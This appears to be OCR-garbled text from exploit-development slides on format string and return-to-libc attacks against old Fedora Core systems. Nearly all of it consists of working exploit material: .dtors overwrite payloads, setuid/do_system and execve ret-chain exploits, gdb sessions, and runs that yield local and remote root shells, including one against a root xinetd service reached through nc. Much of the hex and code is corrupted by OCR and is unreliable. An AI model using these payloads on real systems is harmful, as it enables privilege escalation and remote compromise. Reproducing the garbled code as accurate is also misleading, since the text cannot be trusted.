(gdb} r AAAR BBEB CCCC DDDD EEEE FFFF GGGG HHHH IIXIT JJJJ KEKE

parning: cannot close “'shared object read from target memory™: File in wrong for Argumel’l’[ Value Of
Starting program: fhome/x82/for AAAA BBBB CCCC DDDD EEEE FFFF GGGG HHHH IIIT J.44

Reading symbols from shared object read from target memory...{no debugging symbo prOgram alSO has a

oaded system supplied DS0 at @x?cBO88 i
{no debugging symbols found) same structure Wlth

s debugging =ynbol= oond environment variables.

Breakpoint 1, @xB888483f4 in main ()

{qdb} = Sesp+1u@

L N roviol arovit] aroviz] arov(3

ibraubiuE: “AAAA" [XXXX] WO [XXXX][WO] [XXXX] [WO] [XXXX][WO]
e
“Dpbne”
“"EEEE""
sEEEE::
“"GEGG"
“"HHHH""

b 1 1] B 0
HBxhfadbcy9: “Jddgt
(gdb} ®x/168x Bxbfadbchc
BxbfabBbchc: Bxi1h18141 Bxh2h2h20808 Bxh3h30042 Bxhy 884343
BxbfaBbcSe: BxO8akhhhY BxhShELH5RE Bxh6h606008 BxbH7HZ 8046
Bxbfadbcoe: BxhEBBRUT LT B A04BL84LE
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- Attack Scenario

1. Procure usable library address

2. Passing procured address as a argument of the program and search for stack address
with $-flag

3. Input 24byte shellcode into library area by format string technique

4. Overwrite shellcode library address to that of _ DTOR_END___ .

- Order to exploit

1. Procure $-flag which is needed to overwrite a valueto _ DTOR_END

2. Procure $-flag which is used to overwrite a shellcode to library address.

3. Procure library address and _ DTOR_ENT___ address which are needed for exploit
4. Create buffer like below.

[.dtors1][.dtors2] // first argument
[% Attack code that overwrites shellcode to library address by using $-flag after converting shell code to decimal]
[% Attack code that overwrites .dtors to library address that shellcode exists]

5. increase PAD value to align library address value and try brute force attack.
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- Attack result

[=x828fcS shellcode_ex]% cat printf.c
Hinclude <stdio.h>

int main{int argc.char =argvl]l)}

char pppl4096] =
strncpy{ppp.arav[l1] . . sizeof{(pppl—1):
printfi{pppl-:

F

[x828fcS shellcode_ex]% Is —al printf

—resr—=r—= 1 root root 4805 Hay 20 22-18 printf

[=x828fcS shellcode_ex]$ id

uid=500(=x82) gid=S00(x82) groups=500(=<82)

context=root _system_r-unconfined_t-Systemlow—SystemHigh
[=828fcS shellcode_ex]¥% . Apart_one _Sprintf

Fedora Core Linu= 4.5 based shellcode format string POC exploit
exploit by “vou dong—hun~{Xpl0O1T7EIZz), <szoahc@Bhotmail . com>.

Start exploit part #1

find stack. ..

gap -

find exploit arguments. . .

N T AR NS NN AN AN WA SR AR S S N R
$—Fflaag:- 1835, align:- 2. ret $—flaag:- 5

Start exploit part #2

Input Any kew. ..

Execution result will be different because of different system environment.
Brute force attacking time will be different base on stack location.

uid=0OC(root) g9id=5S00{=x82) groups=H00{=x82)
cgn§e¥5=ruut:Systen_r:uncunfined_tZSystE-LDI—SystE-High
sh—3.
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4) do_system() Return-to-library attack under Fedora Core 3,4, 5

- Difference between system() function call and exec*() series function call

Series of exec functions ,unlike system function, hand over setuid program execute

privilege to euid without execution of setuid function,

system() function call:

Before execution id: 500

perm: 4755 setuid: 0

After execution id: O

After internal execution of system()
uid, euid: 500

execl() function call:

Before execution id: 500

perm: 4755 setuid: 0

After execution id: O

After internal execution of execl()
uid: 500, euid: O

Using system function :

Advantage : Only one argument makes easy to attack remote.

Disadvantage : Once occupied local privilege, exec* series functions work better.
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- Comparison between old system() and recent system()

system function analyze:
int main()

{
system("ps");
}
0x80483cb <main+3>: push $0x8048430 ; store in stack
0x80483d0 <main+8>:  call 0x80482e8 <system> ; system function call
0x80483d5 <main+13>: add $0x4,%esp
0x80483d8 <main+16>: leave (adb) br main

0x80483d9 <main+17>: ret I{irﬁglfpuint 1 at 0x80483ch
g9 r
Starting program: ftmp/s

1., 0x80483ch in main ()
{adb) = Dxz8048430

_10_stdin_used+4>: 0x=000073770
{gdb) =/s 0xB8048430
0x=8048430 <_l0_stdin_used+4>: “ps”
{adb) br system

?rﬁggpuint 2 at 0x40058178: file ../sysdeps/posiz/systen.c,
9 C
Continuing.

Breakpoint 2, __libc_system {1ine=0xz8048430 "ps~)

..fsysdeps/posixfsysten.c:4

line 38.

G
.. /sysdeps/posix/systen.c: J8 MYojU OAE2|2} HE.

{adb) x/x $ebp+8
: 0=x08048430
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- Comparison between old system() and recent system()

After calling system function, arguments of system function will be located at the
address of %ebp+8(0x8(%ebp))

O0ld system:

(gdb) disass system

0x400582a7 <__|ibc_system+327>: mov %eax,0xfffffddc(%ebp) ; "sh —-c command" create buffer
0x400582ad <__|ibc_system+333>: lea  Oxffff3ee3(%ebx),%eax

0x400582b3 <__|ibc_system+339>: mov  %eax,Oxfffffd50(%ebp)

0x400582b9 <__|ibc_systemt+345>: mov Ox8(%ebp) ,%ec  ; input system function argument into %ecx
0x400582bc <__libc_system+348>: mov  %ecx,0xfffffd54(%ebp)

Under Fedora core 3, put %ebp+8 to %esi and copy it to %eax then, pass it to
do_system as a argument.

Fedora Core 3 system:

(gdb) disass system

0x0077d7d1 <systemt+17>: mov 0x8(%ebp) ,%esi <=========== |nput %ebp+8 value to %esi register
0x0077d7ee <systemt+46>: mov %esi,%eax < Copy %esi register to %eax register
0x0077d7fe <systemt62>: jmp 0x77d320 <do_system> <===== calling do_system
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- Comparison between old system() and recent system()

We can see that system function calls do_system function and put command code
into %eax register as a argument.

(gdb) disass do_system

0x0077d342 <do_system+34>: mov %eax,0xfffffeb8(%ebp) <========= copy %eax to %ebp — 328
0x0077d6fe <do_systemt+990>: mov Oxfffffeb8(%ebp),%ecx <===Input command code to %ecx register
0x0077d70c <do_systemt+1004>: mov %edx ,0xfffffecd(%ebp) ; "sh —c command"

0x0077d728 <do_systemt+1032>: mov %ecx,0xfffffecc(%ebp) ; third command argument
0x0077d7ad <do_systemt+1165>: call 0x7d2490 <execve> <—== calling execve function

Analysis of system function and

glibc—2.3.3 ./sysdeps/posix/system.c source code: do system function under glibc-2 33

Int __libc_system (const char *line)

{
int result = do_system (line);
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- Comparison between old system() and recent system()

do_system function:

#define SHELL_PATH "/bin/sh" /* Path of the shell. =*/
#define SHELL_NAME "sh" /* Name to give it. =/

static int do_system (const char |ine)

{

if (pid == (pid_t) 0) // child process
{
/* Child side. =*/
const char *new_argv([4];
new_argv[0] = SHELL_NAME; <— will be “sh” which is a value of SHELL_NAME
new_argv[1] = "-¢"; <- "-¢ “ as a second argument.
new_argv[2] = line; <- Third argument will be a command to run

new_argv[3] = NULL; <- Null will be the last...

/] executing execve. execve("/bin/sh", "sh —c command", environment variable);
/* Exec the shell. =*/
(void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
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- Remote format string attack with do_system() function

When _ DTOR_END _is overwrote with the address of do_system function, %eax
register ,passed as a arguemt of do_system, will be next 4bytes of  DTOR_END

0x08048366 <__do_global_dtors_aux+6>:

0x0804836d <__do_global_dtors_auxt+13>:
0x0804836f <__do_global_dtors_aux+15>:
0x08048371 <__do_global_dtors_aux+17>:
0x08048374 <__do_global_dtors_aux+20>:
0x08048379 <__do_global_dtors_aux+25>:
0x0804837b <__do_global_dtors_aux+27>:
0x08048380 <__do_global_dtors_aux+32>:
0x08048382 <__do_global_dtors_aux+34>:
0x08048384 <__do_global_dtors_aux+36>:

cmpb
ie
jmp
add
mov
call
mov
mov
test
ine

$0x0,0x80495bc
0x804837b <__do_global_dtors_aux+27>
0x804838d <__do_global_dtors_aux+45>

$0x4,%eax <====== @ change %eax to _ DTOR_END__ +4
%eax , 0x80495b8
*%edx <========== (&) calling __DTOR_END__

0x80495b8,%eax <= (D change %eax register.to __DTOR_END__
(%eax),%edx <==== @ %edx register has value of __DTOR_END__

0x8048371 <__do_global_dtors_aux+17>

After changing %eax to _ DTOR_END__ , %edx will have the value of
__DTOR_END__. When %edx is not NULL, %eax will move 4 bytes forward
(__OTOR_END__+4) and will call *%edx
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- Remote format string attack with do_system() function

__DTOR_END__: 0x080494e4

[root@localhost bugl# obidump -h printf | grep dtors
16 .dtors 00000008 0804940 0804940 000004e0 2222

[root@localhost bugl#

do_system: 0x0077d320

{gdb) x/x do_systenm
O0x77d320 <do_system>:: 0=0001babk5

{gdb)

exploit payload:

"WxedWx94Wx04Wx08Wxe6Wx94Wx 04Wx08%54040x%8WINn%11607X%IWHn"
[.dtors address][format string exploit (do_system address)]|
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- Remote format string attack with do_system() function

{adb) br do_systenm
Breakpoint 2 at 0x77/d320
{adb) r “printf "Hxzed¥x9A%:0A%x00% 2B 9480408 " X5A04A0:X0¥$nX1 1607 X98%n

Breakpoint 1, OxO077d320 in do_system () from Flib/tls/libc.so.6
{gdb) =/x 0x080494e4

onAanA~g - PTON_ERD__>: 0x0077d320 < Address of do_system function is overwrote well

LTSI WL LT ] A O s

gggh} L 0x 804948 134517992 < Address of%eax register

eCx 0x86d378 8835960
edx 0Ox"M?d320 7852832
ehx 0x80495%b8 134518200
esp 0xfeed97fc 0xfeed97fc
0x feed9308 0x feed9308
Oxfffffffef -1
0x80494d8 134517976
0= ?d320 0=x77d320
0x 206
0x73
0x7b
0x7b
0x7b

3233 We can figure out that %eax

g5
{adb) =x/x % i +
S P e PSRN is located at __DTOR_END__+4 byte

{adb)
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Remote format string attack with do_system() function

{gdb) r

“printf

e 4048 0482088 x e 6¥: 94z 048 002 e B8z 9482 04 08% xca¥2 948204

¥x08° " ¥54032xX68$nX11607x X9¥$nX26620: X1 0R$nX38797xX1 1¥#$n

Breakpoint 1,
{adb) i r

(gdh) /% $ea

0x80494e8 <__JEH LIST__>:

{adb) =/s

0x80494e8 {__JEH LIST__>:

{adb) c
Continuing.

Detaching after fork from child process 15060. <=

sh-3.00# ps
PID TTY
13283 pts/2
15033 pts/2
15058 pts/2

sh-3.00# exit
exit

0x80494e8
0x86d378
0x77d320
0x80495b8
Oxfefbh8cD
OxfefbBcl
Ozffffftf
0x80494d8
DxTTdSED
0x206

0x73

0x7b

0=7b

0=7b

0x0

0x33

TINE
00:00:-00
00-00-01
00-00-00

0x0077d320 in do_system () from flib/tls/libc.so.6

BEssggn |0 1992 When %eax register is

1852832 e iao00 overwrote with string “sh”,
C OxfefbBclc

: 0o 15815 new shell process will be

uwwazulaﬁﬂg?ﬁ executed.

115
123
123
123
b1

0=x00006873
ELERSE Overwriting “sh” to %eax register

M Shell execution completed
CHD

bash after fork child process

gdb
printf

00:00:-00 sh

00:00:-00

Program received signal
0x00000000 in 2?7 ()
{gdb)

ps

SIGSEGY, Segmentation fault.
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- Remote format string attack with do_system() function

/tmp/daemon.c:
int main()

{

}

char buf[256];
scanf("%s",buf);
printf(buf);

/etc/xinetd.d/test:
service test

{

flags = REUSE
socket_type = stream
wait =no

user = root

server = /tmp/daemon
disable =no

[root@localhost tepl# killall -HUP xzinetd
[root@localhost tmpl# netstat —an | grep 8282
tcp 0 0 0.0.0.0:-8282
[root@localhost tapl#

[root@localhost tmpl# (printf ~®xdc¥#xI4¥x<04¥z00%:de¥=x94¥=z048:00% e 0¥ 94804
#:08%ce?¥x94¥: 04808 ;echo 54032 X8¥$n%1 1607 X9%$n 226620 X1 0O¥$nX38797=%11
#$n:cat) Inc localhost 8282

0.0.0.0:=+ LISTEN

uid=0{root) gid=0D{root)
ped

uname —a
Linux localhost 2.6.9-1.667 #1 Tue Moy 2 14:41:25 EST 2004 i686 i6B6 i386
GNU/Linux

cat fetc/redhat-release

Fedora Core release 3 (Heidelberg)
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(5) Local exploit using do_system() function

Privilege upgrading is blocked by disable_priv_mode() function of bash shell which is added on after
Redhat 7.X. Therefore, do_system() exploit has some problem with acquiring certain privilege on local
system. Even though, the executor’s euid is root, because of disable_priv_mode() function, the program
will be running under executor’s own privilege. However, by adding “—p” option, disable _priv_mode

function will not be running just like old version of bash shell.

execve("/bin/sh","sh —c command",env);
* Part of source code of bash shell (bash—3.0/shell.c):

if (running_setuid && privileged_mode == 0) // privileged_mode: will be 1 if —p option is used.
disable_priv_mode (); // disable_priv_mode will be disabled with —p option

void disable_priv_mode () // Function to change executor’s uid to that of shell onwner
{
setuid (current_user.uid); // set uid back
setgid (current_user.gid); // set gid back
current_user.euid = current_user.uid; // change euid into old user’s uid
current_user.egid = current_user.gid; // change egid into old user’'s gid

}
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- setuid() + do_system() overwrite format string exploit

Vulnerable code:
#include <stdio.h>

int main(int argc,char *argv[])

{
char buf[256];
strncpy(buf,argv[1],256-1);
printf(buf);

}

We need to make %ebp+8 NULL to call
Setuid(0) function.

(gdb) disass setuid

Oxf6f41d23 <setuidt3>:
0xf6f41d26 <setuidt+6>:
0xf6f41d29 <setuid+o>:

Oxf6f41d2c <setuid+i2>:
Oxf6f41d2f <setuid+15>:
Oxf6f41d34 <setuid+20>:
Oxf6f41d3a <setuidt26>:
Oxf6f41d3c <setuidt28>:
Oxfof41d41 <setuid+33>:

sub
mov
mov
mov
cal
add
xchg
mov
cal

$0x2c,%esp // 0x2c memory allocation

%ebx , Oxfffffff8(%ebp)

0x8(%ebp) ,%ecx // getting argument value from $ebp + 8
%esi,Oxfffffffc(%ebp)

Oxf6eccc71 <__i686.get_pc_thunk.bx>

$0x992¢0, %ebx

%ecx,%ebx // Input acquired argument value into $ebx
$0xd5,%eax //Input system call 213 (_NR_setuid32) into $eax
*%gs:0x10 // interrupt
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- setuid() + do_system() overwrite format string exploit

Argument of setuid() function’s address will be determined by %esp of last function.
Overwriting address of setuid() to _ DTOR_END__, argument will be dummy space of 8bytes which is

allocated by __do_global_dtors_aux() function. This buffer is not initialized and it has old values of last
Execution.

Attack scenario :

1. Overwirte address of __DTOR_END__ to that of setuid()+0
2. Overwirte address of __DTOR_END__+4 to that of do_system()+0
3. Overwirte address of __DTOR_END__+8 to string value “sh”

exploit payload: [__DTOR_END__][__DTOR_END__+4][__DTOR_END__+8]
[setuid()] [do_system()] [sh's string]

Vulnerable code introduced last page has a vulnerability in main(). In this program, argument
of setuid function has same memory address with main()’s %ebp —88 byte.

If we can control this memory address, we can control argument value of setuid function.
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- setuid() + do_system() overwrite format string exploit

Normally, when initialization process is going on, the space for argument of setuid is tend
to be NULL. Therefore, it can be usable when we are to launch a local privilege elevation.

[root@localhost tmpl# cat printf.c
Finclude =stdio.h>

int main{int argc.char zarav[]1)

char buf[256] -
strncpy{buf.,argv[1].256-1):
printf{buf):

[root@localhost tmpl# gdb —q printf

{no debugging svmbols fuund} ..Using host libthread_db library
“flib/tls/libthread_db.so.1”

{adb) br main

Breakpoint 1 at 0x80483a9 g .. .
{adb) br *main+77 Right before termination of main()

Breakpoint 4 at O=xzouadgsen
{adb) r "printf "FxedBx94A%=x0A%=x05%=ebB=0A% 04058 < O¥ =949z 0AR < 05¥ =z ea¥ =348 04

x08¥xec¥x 94 04A¥x08% xeeBx 94F0A¥x 08" " X7A32x X8R Sn X605 764 X En X52268x X1 0#4nX

13262=x211#$nX29061 =¥ 1 285nX38797=<%1 3%%n
Starting program: Afvar/tepfprintf “printf "#xedB=x9A%=04%=x05%=<cG¥=x34%x0A% <08

*xeGB=9ARx0AR = D8R e a®=x 348z 0AR =06 zec W= 94 DA = 05¥ < ceBx ARz 0AR 08" * XT7ATI2 X508 X
EE76A=x X9 n¥52268=X1 0 $nX1 3262=X1 1 #$nX29061 x X1 285nX38797= X1 3%%n

{no debugging symbols found)...{no debugging svmbols found}...

Breakpoint 1., 0Ox080483a9 in wmain ()

{adb) br setuid

Breakpoint 2 at Oxf6f41d26

(adb) c
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- setuid() + do_system() overwrite format string exploit

By doing some test attack as exploit payload, we could see that setuid function was
called from inside of __do_global dtors_aux() function.

Breakpoint 2., 0x080483ed in main ()

(adb) x/x $ebp-88 — _ _
0= feebb530: (N ananaa[a[i@ This will be address of $ebp+8 of setuid function

{adb)

Ox feebbh34: Ox 00000000
{gdb) c

Continuing.

Ereagpu;nt 3. Oxf6f41d26 in setuid () from flib/tIsflibc.so.B
vhere
Dxf6f41d26 in setuid () from Alib/tIs/libc.so.B6

Dx0804835e in __do_global_dtors_aux ()
0x080484chb in _fini

Dx08048482 in __libc_csu_fini ()

OxfGee25d7 in exit () from /lib/t S{Iihc.su.ﬁ

|
DxfBecce3d in __libc_start_main () from flib/tlsflibc.so.B
0=x08048319 in _start ()

{gdb) =/% $ebp+8

S SR 00 e Pt
L

0=z feebbh534: 0= 00000000
{gdb)
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- setuid() + do_system() overwrite format string exploit

(gdb) frame 0

#0 0xf6f41d26 in setuid () from /lib/tls/libc.s0.6

(gdb) ir esp ebp

esp Oxfeeb54fc Oxfeeb54fc

ebp Oxfee65528 Oxfee65528 // located at $esp + 0x2c
(gdb) disass setuid

0xf6f41d23 <setuid+3>: sub  $0x2c,%esp // allocate memory of 0x2¢c

iédb) x/x $ebp

Oxfee65528:  Oxfee65538 // base frame $ebp address of __do_global_dtors_aux()

(gdb)

Oxfee6552c:  0x0804835e // area to store return address to __do_global_dtors_aux()

(gdb)

Oxfee65530:  0x00000000 // 8byte space allocated in __do_global_dtors_aux() ($ebp—88 area of main function)

(gdb) x 0x0804835e
0x804835e <__do_global_dtors_aux+30>: 0x0495d8a1
(gdb) disass 0x0804835¢

6)%08048350 <__do_global_dtors_aux+28>: call *%edx // interrupt (force to execute setuid)
0x0804835e <__do_global_dtors_aux+30>: mov  0x80495d8,%eax // * point to return
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- setuid() + do_system() overwrite format string exploit

[x82@8localhost tmpl$ objdump —h printf | grep dtors
16 .dtors ooooooog 0804940 080494e0 O000004ed Pz

[x82@8localhost tmpl$

real exploit code:

[ WxedWx94Wx04Wx08WxeBWx94Wx04Wx08] — [__DTOR_END__]
[WxeBix941x04xO8xealtx94x041x08] — [__DTOR_END__+4]
[Wxeclx94Wx04Wx 08 xeelix94nx041x08] — [__DTOR_END__+8]

[%7432x%3W$n%55764x%M$n | - [setuid() function address]
[%52268x%10W$Nn%13262x%1 1#W$n ] - [do_system() function address]
[%2906 1x%12W$n%38797x%13%$n ] - [sh's string value address: 0x6873]

[x82@local host tepl$ id
uid=500{x82) a9id=500(x82) groups=500{x82)

[xB828localhost tepl$ ./printf “printf ~¥xed¥x94¥:204¥x05%xe6¥x94%:x04%:x05%xed
Fx 948 04%:08%xeatx 9482 0482 068 2 ec¥x 94048088 xee¥x 9482 04808 " ¥7432x: X080 %

L5764x X9#$nX52268x X1 0¥3nX13262xX1 1#$nX29061 x X1 28$nX38797=X13%%n

sh-3.00# id
uid=0({root) g9id=500(x82) groups=500(x82)
sh—-3.00# exit
exit
Segmentation fault
[x82@localhost tepl$
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1) ret(pop %eip) remote attack under Fedora Core 3
By performing ret command, %eip will be popped and %esp will be increased by 4 bytes.
Repeating this ret command will change %esp’s address. With system function

executed, %esp will be address of %ebp, and argument can be changed wherever the
hacker wants.

- Basic principle to determine system function argument,

Before calling main function, _setjmp() function in __libc_start_main() function will allocate
some space. Thanks to this space, we can specify the argument of system function.

Declaration of _setjmp() function in _libc_start_main() :

OxfeeccdfO <__libc_start_main+160>: call Oxfeedf720 <_setjimp>
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- Basic principle to determine system function argument.

{gdb) disass _setjmp
Dump of assembler code for function _setjmp:

DxfBedf 720 <_setjmp+0>:- xor Zeay, Xeax
Dz fBedf 722 <_setimp+2>: mov DxA{ ¥esp), ¥edx
OxfGedf726 <_setjimp+6>- mov ¥ebx, Ox0(Xedx)

DxfGedf729 <_setjmp+9>: mov ¥esi, OxA({Zedx) I
Dxzfbedf72c <_setjmp+12>: mov Zedi, DxB(Xedx) <——{[UINCICIE
Store the address that points input values in main() by mov %edi,0x8(%edx) command

DxfGedf73a <_setjmp+26>: ¥ecx, 0x14(¥edx)
OxfGedf73d <_setjmp+29>: ¥ebp, Dxc(Xedx)
Oxf6edf740 <_set jmp+32>: Y¥eax,Dx18({Xedx)

DxfBedf743 <_setjmp+36>:
DxfBedf744 <_setjmp+36>:

Breakpoint 8, DxfBedf72c in _setjimp () from Flib/tls/libc.so.6
{gdb) =/x %$edi

Ozfeflbbf0: OxfGfdaffd

{gdb) x/x $edx+8

Detotitbio= oxoo0o000t < [F R
{adb) c Empty at default

Continuing.

Breakpoint 9. 0xfbedf72f in _setjmp () from flib/tls/libc.so.B6
{gdb) x/x $edi
OzfeflbbfO: OzfEfdaffd

(adb) x/x $edx+8 o
. Bbi :IE § I Al R Save $edi register address($edx+8)
(gdb)
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- Basic principle to determine system function argument.

$esp value on main()+0 line :

{gdb) =/80 %$esp
OxfeflbBbdc: Oz fBecce3d3 O=00000002 Oxfeflbcbd Ny feflBe70

OxfeflBbec: Oxf6f f4abhb Oxzf6fdaffd 0= 00000000 O=zfeflB6bf0
OzxfeflBbfc: Oxfeflbc38 OxfeflBbel OxfBeccdfb UEuuuuoaaa

Value that saved in _setjmp() %edx+8(0xfef16bf8) is Oxfef16bf0 which is 8bytes less than the location
itself, and it will be preserved after execution of main(). Because we can move %esp by ret command,
we can move %esp to Oxfefl6bf4. If we run system function on that position, the value of %ebp register
will be stored in Oxfef16bf0 by the prologue processes. System function will refer to %ebp+8 as a
argument. This is same address with _setjmp() %edx+8. This address points the previously

saved %ebp register , so we can execute a desired command

[system() %ebp + 8] == [_setimp() %edx + 8] == [Manipulated %ebp register will be store]
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- Basic principle to determine system function argument.

Oxfefibbec:  Oxf6ff4dab6  Oxf6fdaff4 0x00000000 Oxfef16bf0

Overflowed $ebp will be stored here

Let's say, we overwrote %ebp with the value of 0x70707070. It makes recent %esp
Oxfef16bf0 which stores 0x70707070

Oxfefi6bec:  Oxfoff4dab6  0x70707070 0x00000000 Oxfef16bf0

When calling system function, during the prologue, compiler will copy %esp
into %ebp, then %ebp will be the place that stores 0x70707070. +8 bytes from this

position will be used as an argument of system function ,so it will execute previously
overwrote %ebp(0x70707070) as a command.
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- Basic principle to determine system function argument.

An address of fake %ebp that overflowed will be stored in address of %ebp+8.

If we set %ebp “sh”(0x6873) not 0x70707070, we can input this as an argument of system
function. We have executed ret command for several times to correct the address of the
argument and to make commandable environment through movement of %esp register.

(gdb) x/%x $ebp

Ozfeflbbf0: Ox 70707070
(gdb) x/x $ebp+8
DzfeflGbfB: DzfeflGbfD

{gdb) = OxfeflBhfD
Ozfeflbbf0: 0= 70707070
(gdb)
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- ret(pop %eip) local attack test

(adb) disass main

exploit payload:

<— stack grows this way address grows this way —>

[ buffer 1l $ebp 11 ret 1l rett4 1[ ret48 ][ ret+12 1[ ret+16 ][ ret+20 ]
. OXXXXXXXXXXXXX . ..0x003b6873 main()'s ret |main()'s ret|main()'s ret|main()'s retImain()'s ret system();

0x08048371
0x08048382
0x08048384
0x08048387
0x0804838a
0x0804838d
0x08048361
0x08048392
0x08048393
0x08048396
0x0804839b
0x0804839c
0x0804839d
0x0804839%e

<main+23>:
<main+2b>:
<main+28>:
<main+31>:
<main+34=:
<main+37>=:
<main+39>:
<main+42>:
<main+43>:
<main+48>:
<main+hl=:
<main+h2>:
<main+h3>:
<main+h4=:

shl
sub
sub
mOY
add
pushl
lea
push
call
add
leave
ret
nop
nop

——Type <return> to continue,

0x0804839f <main+bh>:
End of assembler dump.

nop

$0x4, Xeax
Xeax, Xesp
$0x8, ¥esp

Dxc{Xebp), ¥eax

$0x4, ¥eax
{¥eax)

OxfffffffB(Xebp),Xeax

Xeax

0x80482b0 <_init+56>

$0z10, ¥esp

or q <return> to quit—-

{adb) r "xxx=0000sh:x" "printf “#x9c#x03%=z04%:00%=9c¥:B3%:04%::00%9c¥:83%=04

¥:x05%=29c ¥ 038 04% 2 00%: ¥ 030z 048 2008 2 c ¥ c M2 e 6™

Starting program: Ffvarftepfstropy “xxxx0000sh:x" "printf ~#x9c¥x83%x04%x08
#:29c #2838 04% = 08% 2 9c¥=2 838 04% 2088 = Oc ¥ 5382 0482 08% 2 Oc ¥ B30 = 04 082 c O¥=c T

¥xzeelzfb™"

{no debugging symbols found)...(no debugging symbols found)...Detaching after

fork from child process 14228.

sh-3. 00#
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- ret(pop %eip) remote attack exploit

[root@localhost =B21# cat p.c
#tinclude <stdio.h>

int main{int argc,char =argu[]}

i char bUF[8]: It is Fedora Core 3 default

gets(buf); system which is used
[runl_:lalu-::ai_lhnst x821# cat /etc/xinetd.d/test DreV|OUS|y to teSt |OC8.| eXD|O|t.
e We could successfully

disable = no procure shell from remote.

flags REUSE

socket_type DL [root@localhost x82]# netstat -a | grep tfido

pait N
:_:::r :gut tcp a A =-tfido x=% LIST

server fhome /x82/p EN .
3 [Foot@localhost =%82# (echo "aaaabbbb@;sh printf "Wx9ukbx83th: 0Lt DB =94k 8 Ikt Oltx

[root@localhost x827# [ BBHxDHHxBEHxﬂuHxﬂBHxDHHxBEHxﬂuHxﬂBHxDHHxBEHxﬂthﬂBchﬂch?ereHxFﬁ"";cat}|nc 1o
calhost tfido
: B: command not found

H

Linux localhost 2.6.9-1.667smp #1 SHP Tue Hov 2 14:59:52 EST 2884 i686 i686 1386
GHU/Linux
exit

[root@localhost x8271# [
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2) ret(pop %eip) local exploit under Fedora Core 4,5

[Summary] After overwriting return address to address of execve() function, move %esp
register by using ret command. Find out appropriate argument for execve() by changing
address of argument and then exploit !!

- Brief analysis about Fedora core 4 and upper version of systems

#1. Unpredictable stack address

Only under Fedora Core 4 system, stack address of child process and that of parent

process have never been same even once. So far, we could use the previously
discussed technique to guess random stack under Fedora core 3 and 5 system
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#2. Non-executable memory area

Stack and heap area now have a non-executable attribution execept library area. So it is
very hard to secure space to execute with a stack overflow vulnerability.

#3. Blocking return-to-library attack
Old Fedora Core 3 used library address under 16m to include NULL value inside of
function address so it was very hard to call functions and prevented command

argument from being next to function.

However we could control %ebp to execute certain command such as opening a shell.
But, since Fedora Core 4, it has been changed.
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#3. Blocking return-to-library attack

Under Fedora Core 3 system, hacker could use %ebp+0x08 as an argument of system
function. In case of stack overflow, hacker can manipulate %ebp which means
hacker could execute a command that he wants to execute.

Fedora Core 3 system() function:

<system+17>: mov  0x8(%ebp),%esi <———- refer to value of $ebp + 0x08

Since Fedora Core 4 system, system() function refers to register %esp that can not
manipulate directly.

Fedora Core 4 system() function:

<system+14>: mov  0x10(%esp),%edi <———- refer to value of $esp + 0x10
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#3. Blocking return-to-library attack

Before Fedora Core 4, execve() function refers to %ebp+0x8 as a command argument.
But since Fedora Core 4 it refers to %esp register.

Fedora Core 3 execve() function:

<execvetd>: mov Oxc(%ebp) ,%ecx <—— get second argument from $ebp + 0xOc
<execvet23>: mov %edi ,0x4(%esp)

<execvet27>: mov 0x10(%ebp) ,%edx <— get third argument from $ebp + 0x10
<execvet+30>: mov 0x8(%ebp) ,%edi <— get first argument from $ebp + Ox08
<execvet33>: xchg %ebx,%edi

<execvet35>: mov  $0xb,%eax

<execvet40>: call  *%gs:0x10

Fedora Core 4 execve() function:

<execvet13>: mov Oxc(%esp) ,%edi <—— get first argument from $esp + 0xOc

<execvet17>: mov 0x10(%esp) ,%ecx <— get second argument from $esp + 0x10
<execvet21>: mov Ox14(%esp) ,%edx <— get third argument from $esp + 0x14

<execvet25>: xchg  %ebx,%edi

<execvet27>: mov  $0xb,%eax

<execvet32>: call  *%gs:0x10
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- How to exploit

Since execve() function refers to %esp register to execute certain command. We could

try ret code exploit to change %esp register indirectly.

|<- stack grows this way memory addres grows this way —>|
10 14 18 22 (return address grows by 4 bytes)
... | | | | .
[ret] [ret] [ret] [XXXX]

| Al Al A

| |l | |

| H H + ($esp register moves by 4bytes)
$espt+4 Pesptd $espt+4 (stack gets smaller by pop command

execve() function needs 3 arguments in total. The first is a executable value which is
not a random seed. We should be looking for a condition that the second and the third

are not NULL from stack.
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- How to exploit

We can execute execve() argument successfully when the stack is like this.

Stack structure after execution of exploit:
[<- stack grows this way

memory address grows this way —>]
[buffer]lebp]lret][ buffer ]
[XXXXXXXX. .. ][ret][ret][ret][ret][ret][execve()'s addr][XXXX][XXXX][arg1]larg2][arg3]

A A A A A

i > | | | |

(flow) +—— now $esp | | |

$espt+Oxc | |

$esp+0x10 |

$espt+Ox 14
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- ret(pop %eip) real exploit

Procure the address of execve() function. This address is changed randomly ,so we need

to try this exploit several times.

[root@localhost tmpl# cat strcpy.c
int main{int argc,char =argv[])

char buf[8]:
strepy(buf,argv[1]});

[root@localhost tmpl# gcc —o streopy strepy.c

[root@localhost tmpl# ldd strcpy

linugx—gate.so.1 => (0xD0f3c000)
Flib/1d-linux.s0.2 (0x006c9000)

(LTI BT VAR T (TR R VISR Randomly allocated library address

[root@localhost tmpl# objdump -T Alibflibc.so.6 | grep -» execve

0008dlac ¢ DF .text 00000049 GLIBC_2.0

exXecve

[root@localhost tmpl#

[root@localhost tmpl# objdump —-d strcpy | grep ret

8048296: c3
8048311 :-

8048351 :-

804837a-

80483b1 :

80483eb:

8048402 -

8048408:

8048430:

804844d:-
[root@localhost tmpl#

ret
ret
ret
ret
ret
ret
ret
ret
ret
ret

Get ret command address
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- ret(pop %eip) real exploit

From experiments under Fedora Core 4 system, we could get command value to be used
as an argument of execve() function by calling ret code 9 times.

(gdb) br execve
Breakpoint 1 at Ox19elac
(gdb) r 000011112222 printf "#Wx96wWx821x04Wx 08X OB B2 x 041X 08Hx OB X 82X 041X 08HX 61X 821X 041X 08X

BW X821 x 041 x OBH x O61x 82 x 04 x OBHx I6Hx 82 x 04 x OBWx 961X 821X 04X 08X 96X 82X 04X 08X actixe Thx 19Wx00" *
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Breakpoint 1, 0x0019eiac in execve () from /1ib/1ibc.s0.6
(gdb) disass execve

0x0019e1b9 <execve+13>: mov Oxc(%esp) ,%edi <—— Set a break point here and check the address of $esp

(gdb) br *execve+13
Breakpoint 2 at 0x19e1b9
(gdb) c

Continuing.
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- ret(pop %eip) real exploit

Breakpoint 2, 0x0019e1b9 in execve () from /lib/libc.so.6

(gdb) x/x $esp+0x0c

0xbf8b42b8: 0x080483b4 <—— address of first argument of execve() ($esp + 0xOc)
(gdb)

